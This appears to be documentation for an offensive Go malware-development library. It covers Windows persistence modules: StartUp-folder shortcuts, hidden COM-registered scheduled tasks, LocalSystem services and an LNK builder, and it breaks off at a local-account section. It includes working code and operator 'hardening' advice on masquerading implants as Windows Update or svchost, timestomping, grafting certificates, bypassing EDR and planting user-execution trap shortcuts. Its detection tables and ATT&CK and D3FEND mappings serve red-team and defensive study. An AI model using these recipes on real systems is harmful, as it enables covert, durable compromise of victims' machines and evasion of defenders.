Drop a .lnk shortcut into the user or machine StartUp folder. Windows Shell launches every shortcut it finds at user logon. No admin needed for user-scope; admin for machine-wide. Implements persistence.Mechanism. Sibling to persistence/registry — pair them for redundancy.

Primer

The StartUp folder is the GUI-era equivalent of Run keys. Windows Shell scans two well-known directories at logon and launches every shortcut it finds:

  • User: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
  • Machine: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Once-popular as an "easy" persistence path, it's now well-known to defensive tooling — but the user folder still sees less default scrutiny than HKLM\…\Run on most stacks. The package wraps persistence/lnk (LNK creation primitive) with the right paths and a Mechanism adapter.

How It Works

sequenceDiagram
    participant Impl as "Implant"
    participant Lnk as "persistence/lnk"
    participant FS as "%APPDATA%\…\Startup"
    participant Logon as "User logon"
    participant Shell as "Windows Shell"

    Impl->>Lnk: New().SetTargetPath(payload).Save(<dir>\Update.lnk)
    Lnk->>FS: write .lnk
    Note over Logon: Reboot / log off + log on
    Shell->>FS: enumerate Startup folder
    FS-->>Shell: Update.lnk (target = payload)
    Shell->>Impl: CreateProcess(payload)

Per-user paths can be discovered via SHGetKnownFolderPath / %APPDATA%; the package's UserDir / MachineDir helpers encapsulate that.

API Reference

Functions

SymbolDescription
UserDir() (string, error)Resolve %APPDATA%\…\Startup for the calling user
MachineDir() (string, error)Resolve %PROGRAMDATA%\…\StartUp
Install(name, target, args)Drop a .lnk into the user folder
InstallMachine(name, target, args)Drop a .lnk into the machine folder (admin)
Remove(name) errorDelete the user-folder shortcut
RemoveMachine(name) errorDelete the machine-folder shortcut
Exists(name) boolUser-folder presence probe
Shortcut(name, target, args) *ShortcutMechanismMechanism adapter for persistence.InstallAll

name must be the value the LNK file will get without the .lnk suffix — Install appends it.

Examples

Simple — user-scope drop

import "github.com/oioio-space/maldev/persistence/startup"

_ = startup.Install("WindowsUpdate",
    `C:\Users\Public\winupdate.exe`,
    "--silent")
defer startup.Remove("WindowsUpdate")

Composed — Mechanism + idempotency

m := startup.Shortcut("WindowsUpdate",
    `C:\Users\Public\winupdate.exe`, "")
if !startup.Exists("WindowsUpdate") {
    _ = m.Install()
}

Advanced — machine-wide install + timestomp

Drop the launcher in the machine folder so the implant runs at every user's logon, then timestomp the resulting LNK so it blends with surrounding Microsoft files.

import (
    "os"
    "path/filepath"

    "github.com/oioio-space/maldev/cleanup/timestomp"
    "github.com/oioio-space/maldev/persistence/startup"
)

const target = `C:\ProgramData\Microsoft\winupdate.exe`

if err := startup.InstallMachine("WindowsUpdate", target, ""); err != nil {
    panic(err)
}

machineDir, _ := startup.MachineDir()
lnkPath := filepath.Join(machineDir, "WindowsUpdate.lnk")

ref, _ := os.Stat(`C:\Windows\System32\svchost.exe`)
t := ref.ModTime()
_ = timestomp.SetFull(lnkPath, t, t, t)

Pipeline — startup + registry redundancy

Pair a Run-key with the StartUp shortcut so removing one does not lose persistence.

import (
    "github.com/oioio-space/maldev/persistence"
    "github.com/oioio-space/maldev/persistence/registry"
    "github.com/oioio-space/maldev/persistence/startup"
)

const target = `C:\Users\Public\winupdate.exe`

mechs := []persistence.Mechanism{
    startup.Shortcut("WindowsUpdate", target, ""),
    registry.RunKey(registry.HiveCurrentUser, registry.KeyRun,
        "WindowsUpdateBackup", target),
}
_ = persistence.InstallAll(mechs)

See ExampleShortcut.

OPSEC & Detection

ArtefactWhere defenders look
File creation under %APPDATA%\…\StartupPath-scoped EDR rules — high-fidelity even for benign-looking LNKs
File creation under %PROGRAMDATA%\…\StartUpSame, with admin involvement adding to the signal
autoruns.exe -lcuser / -l listingSysinternals Autoruns surfaces both folders
LNK pointing at user-writable / temp pathsDefender heuristic
LNK with mismatched icon vs target binaryEDR rule cross-checks IconLocation vs TargetPath
Implant binary lacking signature + Microsoft VERSIONINFOPair with pe/masquerade + pe/cert

D3FEND counters:

  • D3-FCA — LNK header inspection.
  • D3-SEA — target-binary review.

Hardening for the operator:

  • Prefer the user folder unless machine-wide is required — lower default coverage.
  • Match icon + display name to a plausible identity (Notes, Update, OneDrive).
  • Pair with cleanup/timestomp so the LNK's MFT timestamps blend with surrounding Microsoft artefacts.
  • Pair with persistence/registry for redundancy via persistence.InstallAll.
  • Avoid this technique when the target stack runs strict ASR rules ("Block executable content from email client and webmail" applies to LNKs delivered via that channel).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1547.001Boot or Logon Autostart Execution: Startup Folderfull — user + machineD3-FCA
T1547.009Shortcut Modificationpartial — LNK creation primitive (delegated to persistence/lnk)D3-FCA

Limitations

  • Logon-only trigger. Like Run keys, fires at user logon — not at boot.
  • One LNK per name. Re-installing under the same name overwrites the existing shortcut without warning.
  • Windows-only. No cross-platform stub.
  • Visible to standard triage. Both folders are universal IR triage targets.
  • No service-account context. LNKs run in the logging-in user's session — for SYSTEM-scope persistence use persistence/service.

See also

Scheduled task persistence

← persistence index · docs/index

TL;DR

Create, list, run, and delete Windows scheduled tasks via the COM ITaskService API — no schtasks.exe child process. Supports logon, startup, daily, and one-shot time triggers, plus a Hidden flag. Implements persistence.Mechanism. Trade-off vs persistence/service: same SYSTEM-scope reach with broader trigger options and lower direct-spawn telemetry, but Event 4698 still emits.

Primer

The Task Scheduler is the most flexible Windows persistence mechanism. Triggers go beyond logon (Run keys, StartUp folder) and boot (services): tasks can fire on a schedule, on idle, on session lock/unlock, on event-log entries, on system events.

Most operators use schtasks.exe to register tasks — which spawns a visible child process under the implant's lineage. This package skips schtasks.exe entirely by talking to the Schedule.Service COM object directly via go-ole. The audit event (4698) still fires regardless of registration path; the process-creation telemetry vanishes.

How It Works

sequenceDiagram
    participant Caller
    participant COM as "Schedule.Service<br>(COM)"
    participant TS as "Task Scheduler service"
    participant Audit as "Security log"
    participant Trig as "Trigger fires"
    participant Bin as "Implant"

    Caller->>COM: CoInitialize(STA)
    Caller->>COM: GetFolder("\\")
    Caller->>COM: NewTask() ITaskDefinition
    Caller->>COM: set actions / triggers / settings (hidden=true)
    Caller->>COM: RegisterTaskDefinition(name, def)
    COM->>TS: persist task definition
    TS-->>Audit: Event 4698 (scheduled task created)
    Note over Trig: Trigger fires (logon / startup / daily / time)
    TS->>Bin: spawn implant under SYSTEM (or registered context)

Triggers supported by this package:

ConstructorTrigger
WithTriggerLogon()Any user logon
WithTriggerStartup()Boot — runs as SYSTEM by default
WithTriggerDaily(intervalDays)Every N days
WithTriggerTime(t)One-shot at t

Task names must start with \\TaskName for the root folder, \Folder\TaskName for sub-folders.

API Reference

type Task

godoc

Surface of a registered task — name, path, hidden flag, last run, next run, state.

Options (type Option func(*options))

OptionEffect
WithAction(path, args...)Required — the binary + args to launch
WithTriggerLogon()Any-user-logon trigger
WithTriggerStartup()Boot trigger
WithTriggerDaily(interval int)Daily trigger every N days
WithTriggerTime(t time.Time)One-shot at t
WithHidden()Set the task's Hidden flag (taskschd.msc must "Show Hidden Tasks")

Functions

SymbolDescription
Create(name string, opts ...Option) errorRegister the task
Delete(name string) errorRemove the task
Exists(name string) (bool, error)Presence probe
List() ([]Task, error)Enumerate root + recursive sub-folders
Actions(name string) ([]string, error)Read-back action paths for an existing task
Run(name string) errorTrigger an immediate run via the COM Run method
ScheduledTask(name, opts...) *TaskMechanismMechanism adapter

Examples

Simple — logon trigger, hidden

import "github.com/oioio-space/maldev/persistence/scheduler"

_ = scheduler.Create(`\IntelGraphicsRefresh`,
    scheduler.WithAction(`C:\ProgramData\Microsoft\winupdate.exe`),
    scheduler.WithTriggerLogon(),
    scheduler.WithHidden(),
)
defer scheduler.Delete(`\IntelGraphicsRefresh`)

Composed — Mechanism + boot trigger

m := scheduler.ScheduledTask(`\Microsoft\Windows\WinUpdate\Refresh`,
    scheduler.WithAction(`C:\ProgramData\Microsoft\winupdate.exe`),
    scheduler.WithTriggerStartup(),
    scheduler.WithHidden(),
)
_ = m.Install() // runs as SYSTEM at boot — admin required

Advanced — daily + one-shot on the same task chain

import "time"

// Daily refresh: every day at the implant's chosen interval.
_ = scheduler.Create(`\IntelGraphicsRefresh`,
    scheduler.WithAction(`C:\ProgramData\Microsoft\winupdate.exe`),
    scheduler.WithTriggerDaily(1),
    scheduler.WithHidden(),
)

// One-shot recovery at a specific time (e.g. fire-and-forget
// 2 hours from now to retry a failed C2 callback).
recovery := time.Now().Add(2 * time.Hour)
_ = scheduler.Create(`\IntelGraphicsRefreshRecovery`,
    scheduler.WithAction(`C:\ProgramData\Microsoft\winupdate.exe`,
        "--recovery"),
    scheduler.WithTriggerTime(recovery),
    scheduler.WithHidden(),
)

Pipeline — task + Run-key dual persistence

import (
    "github.com/oioio-space/maldev/persistence"
    "github.com/oioio-space/maldev/persistence/registry"
    "github.com/oioio-space/maldev/persistence/scheduler"
)

const bin = `C:\ProgramData\Microsoft\winupdate.exe`

mechs := []persistence.Mechanism{
    scheduler.ScheduledTask(`\Microsoft\Windows\WinUpdate\Refresh`,
        scheduler.WithAction(bin),
        scheduler.WithTriggerStartup(),
        scheduler.WithHidden()),
    registry.RunKey(registry.HiveCurrentUser, registry.KeyRun,
        "WinUpdateBackup", bin),
}
_ = persistence.InstallAll(mechs)

See ExampleCreate.

OPSEC & Detection

ArtefactWhere defenders look
Security Event 4698 (scheduled task created)Universal audit; SIEM rules correlate against task-name patterns and binary paths
Microsoft-Windows-TaskScheduler/Operational ETW providerPer-task creation events
schtasks /query / Get-ScheduledTask listingOperator review; Hidden flag requires "Show Hidden" toggle in taskschd.msc but schtasks /query /xml shows everything
Task XML stored at %SystemRoot%\System32\Tasks\<path>\<name>File-creation telemetry on the XML drop
Task-name patterns mimicking Microsoft (\Microsoft\Windows\…)EDR rules flag custom tasks under the \Microsoft\Windows\ prefix because legitimate Microsoft tasks ship via WIM, not runtime registration
schtasks.exe child processAbsent here — COM path bypasses Sysmon Event 1 / child-process EDR rules
Hidden task with non-Microsoft authorDefender heuristic flags hidden tasks created by non-Microsoft processes

D3FEND counters:

  • D3-SCA — task-creation event auditing.
  • D3-SICA — task XML monitoring on disk.

Hardening for the operator:

  • Match the task path + name to a plausible Microsoft idiom (\Microsoft\Windows\<Component>\<Task>) — but be aware some EDRs flag non-Microsoft authors at exactly that path prefix.
  • Use WithHidden() to keep the task out of casual taskschd.msc browsing, but don't rely on it as a stealth primitive — schtasks /query /xml and Get-ScheduledTask still surface it.
  • Prefer WithTriggerStartup over WithTriggerLogon for pre-logon callbacks; the SYSTEM context is broader and the task fires before the user is logged in.
  • Pair with pe/masquerade for binary identity match.
  • Avoid hosts with strict task-creation auditing (Microsoft-Windows-TaskScheduler/Operational forwarded to enterprise SIEM).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1053.005Scheduled Task/Job: Scheduled Taskfull — COM-based registration, all common triggersD3-SCA, D3-SICA

Limitations

  • Audit cannot be skipped. Event 4698 fires at registration regardless of how the task is created.
  • Trigger options trimmed. This package supports the common triggers (logon, startup, daily, one-shot time). Other COM triggers (idle, session lock/unlock, event-log match) are not exposed — extend options to add.
  • Startup/logon triggers require admin. Boot/startup tasks registered without admin are silently downgraded to "any user logon" or rejected.
  • Hidden flag is cosmetic. taskschd.msc hides the task from default view; every other tooling surfaces it.
  • No principal override. Tasks run as the registered user (or SYSTEM for startup/boot). Specifying a different principal (RunAs) requires the password and is out of scope for this package.

See also

Windows service persistence

← persistence index · docs/index

TL;DR

Install a Windows service via the Service Control Manager so the implant runs as LocalSystem at every boot. Highest-trust persistence available; also the loudest — service creation emits System Event 7045 + Security Event 4697 on every modern Windows host. Implements persistence.Mechanism for composition with other persistence primitives.

Primer

Services are the canonical Windows mechanism for "long-running process started by the OS, restarted on failure, runs as LocalSystem unless told otherwise". Once installed, the implant survives reboots, user logoffs, and most cleanup sweeps that target user-scope artefacts (Run keys, StartUp folders).

Trade-off: SCM database changes are universally audited. Mature EDR stacks correlate Event 7045 against the binary path (user-writable = bad), the signer (unsigned = bad), and the service description (suspicious keywords). Pair with pe/masquerade (svchost preset), pe/cert, and a binary path inside %SystemRoot%\System32\ for the lowest-noise install operationally available.

How It Works

sequenceDiagram
    participant Caller
    participant SCM as "Service Control Manager"
    participant DB as "services.exe DB"
    participant Audit as "Event log"

    Caller->>SCM: OpenSCManager(SC_MANAGER_CREATE_SERVICE)
    Caller->>SCM: CreateService(name, binPath, type, startType)
    SCM->>DB: write service entry
    DB-->>Audit: System 7045 (service installed)
    DB-->>Audit: Security 4697 (service installed)
    Caller->>SCM: StartService (optional)
    Note over SCM: services.exe spawns binPath as LocalSystem

The implementation uses golang.org/x/sys/windows/svc/mgr under the hood — the standard svc.mgr package — to keep the SCM interaction contract well-tested and conventional. Mechanism.Install chains Install + (optionally) StartService; Mechanism.Uninstall is StopService + DeleteService with cleanup-pause semantics.

API Reference

type StartType uint32

godoc

ValueMeaning
StartAutoSERVICE_AUTO_START — launched at boot, post-network init
StartManualSERVICE_DEMAND_START — operator triggers via sc start
StartDisabledSERVICE_DISABLED — registered but won't launch
StartBootSERVICE_BOOT_START — kernel driver only (special case)
StartSystemSERVICE_SYSTEM_START — kernel driver only (special case)

type Config

godoc

FieldDescription
NameService short name (registry key under HKLM\SYSTEM\CurrentControlSet\Services)
BinPathFull path to the service executable
DisplayNameUI-visible name (shown in services.msc)
DescriptionLong description (shown in services.msc properties)
StartTypeOne of the StartType constants
ArgsCommand-line arguments appended to BinPath at launch
AccountOptional service-account override. Empty → LocalSystem (default). Forms accepted: .\\<user> / <host>\\<user> (local), <DOMAIN>\\<user> (domain), NT AUTHORITY\\NetworkService / NT AUTHORITY\\LocalService (built-in low-priv).
PasswordPlaintext password for the account. Ignored for built-in NT AUTHORITY\\* principals.

[!IMPORTANT] When Account is set to a normal local or domain user, the account MUST hold SeServiceLogonRight. Use GrantSeServiceLogonRight(account) to add the right via LsaOpenPolicy + LsaAddAccountRights before calling Install. Idempotent — granting an already-held right is a no-op. Requires elevation (SeSecurityPrivilege).

Equivalent operator workflows: secedit /import …, ntrights -u <user> +r SeServiceLogonRight, or a Group Policy drop. Built-in NT AUTHORITY\NetworkService / LocalService already hold the right and need no password.

Functions

SymbolDescription
Install(cfg *Config) errorStandalone install — creates SCM entry, no start
Uninstall(name string) errorStop-if-running + delete
Service(cfg *Config) *MechanismMechanism adapter for use with persistence.InstallAll
Exists(name string) boolSCM probe
IsRunning(name string) boolQueryServiceStatusEx SERVICE_RUNNING
Start(name string) errorStartService
Stop(name string) errorControlService SERVICE_CONTROL_STOP

Examples

Simple — install + start

import "github.com/oioio-space/maldev/persistence/service"

err := service.Install(&service.Config{
    Name:        "WinUpdateNotifier",
    DisplayName: "Windows Update Notification Center",
    Description: "Provides update notifications.",
    BinPath:     `C:\ProgramData\Microsoft\winupdate.exe`,
    StartType:   service.StartAuto,
})
if err != nil {
    panic(err)
}
_ = service.Start("WinUpdateNotifier")

Composed — Mechanism + InstallAll redundancy

Pair with a Run-key fallback so loss of either mechanism does not lose persistence.

import (
    "github.com/oioio-space/maldev/persistence"
    "github.com/oioio-space/maldev/persistence/registry"
    "github.com/oioio-space/maldev/persistence/service"
)

mechs := []persistence.Mechanism{
    service.Service(&service.Config{
        Name:      "WinUpdate",
        BinPath:   `C:\ProgramData\Microsoft\winupdate.exe`,
        StartType: service.StartAuto,
    }),
    registry.RunKey(registry.HiveLocalMachine, registry.KeyRun,
        "WinUpdateBackup",
        `C:\ProgramData\Microsoft\winupdate.exe`),
}
errs := persistence.InstallAll(mechs)
for _, e := range errs {
    if e != nil {
        // partial install — verify which fired
    }
}

Advanced — masqueraded binary in System32

The full-stealth recipe: emit a binary that masquerades as a real svchost service host, drop it under System32, install under a plausible service name.

// At build time:
//   import _ "github.com/oioio-space/maldev/pe/masquerade/preset/svchost"
//   go build -o svc-update.exe ./cmd/implant

// On target (assumes admin):
import (
    "io"
    "os"

    "github.com/oioio-space/maldev/persistence/service"
)

const target = `C:\Windows\System32\svc-update.exe`

src, _ := os.Open("svc-update.exe")
dst, _ := os.Create(target)
_, _ = io.Copy(dst, src)
_ = src.Close()
_ = dst.Close()

_ = service.Install(&service.Config{
    Name:        "SvcUpdate",
    DisplayName: "Service Update Helper",
    Description: "Coordinates background service updates.",
    BinPath:     target,
    StartType:   service.StartAuto,
})

See ExampleService.

Advanced — service-account override

When LocalSystem is too noisy, pin the service to a built-in low-priv principal (no password needed) or to a normal user that already holds SeServiceLogonRight.

// 1. Built-in NT AUTHORITY\NetworkService — no password.
//    Already holds SeServiceLogonRight.
_ = service.Install(&service.Config{
    Name:        "WinUpdateNetCheck",
    DisplayName: "Windows Update Network Check",
    BinPath:     `C:\ProgramData\Microsoft\winupdate.exe`,
    StartType:   service.StartAuto,
    Account:     `NT AUTHORITY\NetworkService`,
})

// 2. Domain account. Account MUST already hold
//    SeServiceLogonRight (granted via secedit / GPO / LsaAddAccountRights).
_ = service.Install(&service.Config{
    Name:      "WinUpdateContext",
    BinPath:   `C:\ProgramData\Microsoft\winupdate.exe`,
    StartType: service.StartManual,
    Account:   `CORP\svc-winupdate`,
    Password:  os.Getenv("MALDEV_SVC_PWD"),
})

OPSEC & Detection

ArtefactWhere defenders look
System Event 7045 (service installed)Universal; high-fidelity SIEM rule when correlated against unsigned binary or user-writable path
Security Event 4697 (service installed)Audit log; same population as 7045
services.msc / sc query listingOperator review; service description is the human-readable fingerprint
autoruns.exe highlightSysinternals Autoruns flags unsigned services in red
HKLM\SYSTEM\CurrentControlSet\Services\<Name> registry writeSysmon Event 13 (registry value set); forensic timeline
Service binary path under %TEMP%, %APPDATA%, %PROGRAMDATA%Defender heuristic; legitimate services live under Program Files or System32
Service running as LocalSystem with outbound HTTPS to non-MS endpointBehavioural EDR — outbound profile mismatch with claimed identity
Service with empty DisplayName / DescriptionDefender heuristic — legitimate services document themselves

D3FEND counters:

  • D3-PSA — services.exe spawning unsigned binaries.
  • D3-SICA — SCM database registry monitoring.

Hardening for the operator:

  • Pair with pe/masquerade/preset/svchost so the binary's PE metadata matches a real Microsoft service host.
  • Pair with pe/cert.Copy to graft an Authenticode blob (passes presence checks).
  • Drop the binary under %SystemRoot%\System32\ (admin required) — services in Program Files or System32 draw less default scrutiny than ones under %PROGRAMDATA%.
  • Populate DisplayName + Description with text that matches the cloned identity.
  • Avoid this technique on hosts with strict service-creation audit (Microsoft LAPS-protected, enterprise SOC-monitored).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1543.003Create or Modify System Process: Windows ServicefullD3-PSA, D3-SICA

Limitations

  • Admin required. SCM CreateService needs SC_MANAGER_CREATE_SERVICE which is admin-gated.
  • Service binary contract. The launched binary must implement the SCM control protocol (respond to ServiceMain start, SERVICE_CONTROL_STOP etc.) or it will be killed within ~30 s. Implants that don't implement the contract should run as StartManual + a separate trigger, or wrap the implant binary with the golang.org/x/sys/windows/svc runner.
  • Service-account override is one-shot. Config.Account + Config.Password propagate through to mgr.CreateService so non-LocalSystem services install fine. Pair with GrantSeServiceLogonRight(account) for user-account services where the principal doesn't already hold the right. Built-in NT AUTHORITY\NetworkService / LocalService need neither the grant nor a password.
  • Boot/System start types. StartBoot / StartSystem are kernel-driver-only; userland binaries with these start types are rejected by SCM.
  • Pre-Vista compatibility. Some legacy options (interactive desktop, etc.) are not exposed.

See also

LNK shortcut creation

← persistence index · docs/index

TL;DR

Create Windows .lnk shortcut files via COM/OLE automation. Fluent builder with three sinks: Save(path) (disk via WScript.Shell), BuildBytes() (raw bytes, zero-disk via IShellLinkW + IPersistStream::Save on an HGLOBAL-backed IStream), and WriteTo(io.Writer) (same zero-disk path, streamed to any operator-controlled writer). Used as the primitive for persistence/startup, and standalone for T1204.002 user-execution traps (Desktop / Quick Launch / Documents drops). Windows-only.

Primer

LNK files are the Windows shell's canonical "double-click to launch" artefact. They carry a target path, optional arguments, working directory, an icon resource, and a window-style hint. Windows Explorer renders them as their target's icon; the user sees a familiar app and clicks.

The COM/OLE path (WScript.Shell.CreateShortcut) is the same surface PowerShell's WScript.Shell ComObject uses. It produces a fully-formed shell link with no shellbag side-effects and no shortcut-file footer Microsoft signs as part of the SmartScreen Mark-of-the-Web pipeline — unlike a downloaded .lnk, this one carries no MOTW.

How It Works

sequenceDiagram
    participant Caller
    participant COM as "STA apartment"
    participant Shell as "WScript.Shell"
    participant Link as "IWshShortcut"

    Caller->>COM: CoInitializeEx STA
    Caller->>Shell: CoCreateInstance WScript.Shell
    Caller->>Shell: CreateShortcut path
    Shell-->>Link: IWshShortcut dispatch
    Caller->>Link: PutProperty TargetPath, Arguments, Icon, Style, Desc, WorkDir
    Caller->>Link: Save
    Link-->>Caller: lnk on disk
    Caller->>COM: Release then CoUninitialize

The zero-disk path (BuildBytes and WriteTo) swaps the Shell automation actors for a direct IShellLinkW + IPersistStream chain:

sequenceDiagram
    participant Caller
    participant COM as "STA apartment"
    participant Link as "IShellLinkW"
    participant PS as "IPersistStream"
    participant Stream as "IStream on HGLOBAL"

    Caller->>COM: CoInitializeEx STA
    Caller->>Link: CoCreateInstance CLSID_ShellLink
    Caller->>Link: SetPath, SetArguments, SetIconLocation, SetShowCmd, SetHotkey
    Caller->>Link: QueryInterface IID_IPersistStream
    Link-->>PS: IPersistStream pointer
    Caller->>Stream: CreateStreamOnHGlobal NULL TRUE
    Caller->>PS: Save Stream TRUE
    PS-->>Stream: bytes written into HGLOBAL
    Caller->>Stream: GetHGlobalFromStream and GlobalLock
    Stream-->>Caller: byte slice
    Caller->>Stream: Release
    Caller->>PS: Release
    Caller->>Link: Release
    Caller->>COM: CoUninitialize

The builder runs runtime.LockOSThread because COM apartments are per-thread. Every call to Save tears the apartment down so the package leaves no apartment state behind. All COM resources are released even on the error path.

For BuildBytes / WriteTo, the path swaps WScript.Shell for a direct CoCreateInstance(CLSID_ShellLink, IID_IShellLinkW), configures the shortcut via raw vtable calls (SetPath, SetArguments, SetWorkingDirectory, SetDescription, SetIconLocation, SetShowCmd), then QueryInterface-s for IPersistStream and calls Save(stream) against an IStream created by CreateStreamOnHGlobal(NULL, fDeleteOnRelease=TRUE). Bytes are extracted from the underlying HGLOBAL via GetHGlobalFromStream / GlobalLock before the stream — and thus the HGLOBAL — is released. No filesystem call is made at any point.

API Reference

SymbolDescription
type ShortcutBuilder; chained setters return *Shortcut
New() *ShortcutFresh builder
(*Shortcut).SetTargetPath(string)Required — the launched binary
(*Shortcut).SetArguments(string)Command-line passed to target
(*Shortcut).SetWorkingDir(string)CWD for the launched process
(*Shortcut).SetDescription(string)Tooltip text
(*Shortcut).SetIconLocation(string)Icon donor ("path,index" packing — "shell32.dll,3")
(*Shortcut).SetHotkey(string)Keyboard shortcut ("Ctrl+Alt+T")
(*Shortcut).SetWindowStyle(WindowStyle)StyleNormal / StyleMaximized / StyleMinimized
(*Shortcut).Save(path string) errorPersist to path (disk, via WScript.Shell)
(*Shortcut).BuildBytes() ([]byte, error)Serialise to raw bytes — zero-disk (IShellLinkW + IPersistStream + HGLOBAL IStream)
(*Shortcut).WriteTo(w io.Writer) (int64, error)Same zero-disk path, streamed to any io.Writer
(*Shortcut).WriteVia(creator stealthopen.Creator, path string) errorBuild bytes in memory, then land them on disk via the operator-supplied stealthopen.Creator. nil falls back to os.Create

type WindowStyle int

ValueManifest
StyleNormal1 — default visible window
StyleMaximized3 — full-screen
StyleMinimized7 — minimised to taskbar (typical for stealthy auto-launch)

Examples

Simple — Desktop launcher

import "github.com/oioio-space/maldev/persistence/lnk"

_ = lnk.New().
    SetTargetPath(`C:\Windows\System32\cmd.exe`).
    SetArguments("/c whoami").
    SetWindowStyle(lnk.StyleMinimized).
    Save(`C:\Users\Public\Desktop\link.lnk`)

Composed — donor icon + minimised

Use notepad.exe's icon and a benign description so Explorer renders the shortcut indistinguishably from a real notepad launcher.

_ = lnk.New().
    SetTargetPath(`C:\ProgramData\Microsoft\winupdate.exe`).
    SetArguments("--update").
    SetIconLocation(`C:\Windows\System32\notepad.exe,0`).
    SetDescription("Notes").
    SetWindowStyle(lnk.StyleMinimized).
    Save(`C:\Users\Public\Desktop\Notes.lnk`)

Advanced — Quick Launch user-execution trap

Drop into Quick Launch where a freshly logged-on user is most likely to click without inspection.

import (
    "os"
    "path/filepath"

    "github.com/oioio-space/maldev/persistence/lnk"
)

appData := os.Getenv("APPDATA")
qLaunch := filepath.Join(appData,
    `Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar`)

_ = lnk.New().
    SetTargetPath(`C:\ProgramData\Microsoft\winupdate.exe`).
    SetIconLocation(`C:\Windows\System32\mmc.exe,0`).
    SetDescription("Computer Management").
    SetWindowStyle(lnk.StyleNormal).
    Save(filepath.Join(qLaunch, "Computer Management.lnk"))

Stealth landing — bytes through an operator-controlled Creator

WriteVia keeps the in-memory build (BuildBytes) and then routes the final write through any stealthopen.Creator — transactional NTFS, encrypted-stream wrapper, alternate data stream, raw NtCreateFile, etc. Same composition story as stealthopen.Opener for read paths.

import (
    "github.com/oioio-space/maldev/evasion/stealthopen"
    "github.com/oioio-space/maldev/persistence/lnk"
)

// Operator's anti-EDR write primitive (their package, their Open/Close).
var creator stealthopen.Creator = myEDRBypassCreator{}

_ = lnk.New().
    SetTargetPath(`C:\Windows\System32\cmd.exe`).
    SetWindowStyle(lnk.StyleMinimized).
    WriteVia(creator, `C:\Users\Public\Desktop\Notes.lnk`)

// nil creator falls back to os.Create — drop-in replacement for Save:
_ = lnk.New().
    SetTargetPath(`C:\Windows\System32\cmd.exe`).
    WriteVia(nil, `C:\Users\Public\Desktop\Notes.lnk`)

Zero-disk — bytes for C2 staging

Build the LNK fully in memory via IShellLinkW + IPersistStream::Save on an HGLOBAL-backed IStream. No file is opened, created, or read on disk at any point — useful when the operator wants to encrypt/transport/embed the artefact through their own write primitive.

import (
    "bytes"

    "github.com/oioio-space/maldev/persistence/lnk"
)

raw, err := lnk.New().
    SetTargetPath(`C:\Windows\System32\cmd.exe`).
    SetArguments("/c whoami").
    SetWindowStyle(lnk.StyleMinimized).
    BuildBytes()
if err != nil {
    return err
}
// `raw` is a fully-formed LNK byte stream, ready for embedding,
// encryption, or transport over a C2 channel.

// Or stream directly into any io.Writer (encrypted ADS, in-memory
// mount, custom anti-EDR Opener, …).
var buf bytes.Buffer
if _, err := lnk.New().
    SetTargetPath(`C:\Windows\System32\cmd.exe`).
    WriteTo(&buf); err != nil {
    return err
}

See ExampleNew.

OPSEC & Detection

ArtefactWhere defenders look
LNK file written outside StartUp foldersGenerally noise — every Office install creates LNKs
LNK file written inside StartUp foldersPath-scoped EDR rules (Defender, MDE) — high-fidelity
LNK file with mismatched icon vs targetMature EDR cross-checks IconLocation PE vs TargetPath PE
LNK pointing at user-writable / temp pathsDefender heuristic — system shortcuts target System32, not %TEMP%
WScript.Shell COM call from non-script processETW Microsoft-Windows-WMI-Activity / similar; rare in non-script processes
MOTW absence on a downloaded LNKSmartScreen / Get-Item ... -Stream Zone.Identifier

D3FEND counters:

  • D3-FCA — LNK header structure analysis; well-known parser libraries flag suspicious target/icon mismatches.
  • D3-UA — track user-execution chains.

Hardening for the operator:

  • Match IconLocation to a PE consistent with the displayed description.
  • For startup persistence, prefer persistence/startup which wraps lnk with the right paths.
  • Don't drop in %TEMP% / %APPDATA%\Local\Temp — those paths draw default rules.
  • For user-execution traps, use a name + icon a real user would not double-take (Documents folder, with their actual recent-doc names).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1547.009Boot or Logon Autostart Execution: Shortcut Modificationfull — LNK creation primitiveD3-FCA
T1204.002User Execution: Malicious Filepartial — produces the LNK; user click is out-of-bandD3-UA

Limitations

  • Windows-only. No cross-platform stub — calls are guarded by //go:build windows.
  • COM apartment overhead. runtime.LockOSThread is held for the duration of every sink (Save, BuildBytes, WriteTo); high-frequency LNK creation paths benefit from batching builders behind a single COM init.
  • Zero-disk path is amd64-only in practice. BuildBytes / WriteTo use raw COM vtable calls via syscall.SyscallN and rely on the Windows x64 ABI — the calls compile under GOARCH=386 but argument passing for IShellLinkW setters has not been verified on 32-bit. Treat 64-bit Windows as the supported target.
  • Custom LinkFlags / EXTRA_DATA_BLOCKs. Callers needing fields neither IWshShortcut nor IShellLinkW expose (custom flags, signed property store entries, console block tweaks) still need a separate parser / writer — neither sink reaches past those interfaces.
  • No LNK reading. This package writes only; reading existing LNKs requires a separate parser.
  • Save and BuildBytes are NOT byte-identical. WScript.Shell.IWshShortcut.Save(path) auto-computes RELATIVE_PATH from its path argument (used by the Windows shell as a fallback resolver if the absolute target moves). BuildBytes runs IPersistStream::Save against an in-memory IStream — no path reference is available, so the HasRelativePath flag stays clear and the corresponding StringData block is omitted (~50–100 bytes shorter output). Operators that need byte-equivalence under forensic comparison must either use Save or extend the builder with a typed SetRelativePath accessor (backlog item). Verified by TestBuildBytes_DivergesFromSave_OnRelativePath against the Windows10 VM target (commit dde3f5c..).
  • MOTW absent. Locally-created LNKs carry no Zone.Identifier ADS — useful for the operator, but a forensic tell when correlating LNKs against download history.
  • Hotkey parser scope. Both sinks honour SetHotkey. The BuildBytes path translates the WSH string ("Ctrl+Alt+T", "Shift+F1", "Alt+1") into the packed WORD form (HOTKEYF_* << 8 | VK_*) expected by IShellLinkW::SetHotkey. Recognised modifiers: Ctrl/Control, Alt, Shift, Ext. Recognised keys: A–Z, 0–9, F1–F24. Anything else (numpad, OEM, multimedia VKs) is silently dropped — extend parseHotkey if needed.

See also

Local account creation

← persistence index · docs/index

TL;DR

Add, delete, modify, and enumerate Windows local user accounts via NetAPI32 (NetUserAdd / NetUserDel / NetUserSetInfo / NetLocalGroupAddMembers). The directory is named account; the package is declared package user (matches the Win32 API surface). Loudest persistence option in the tree — every action emits Security event 4720 / 4722 / 4732 / 4724 by default.

Primer

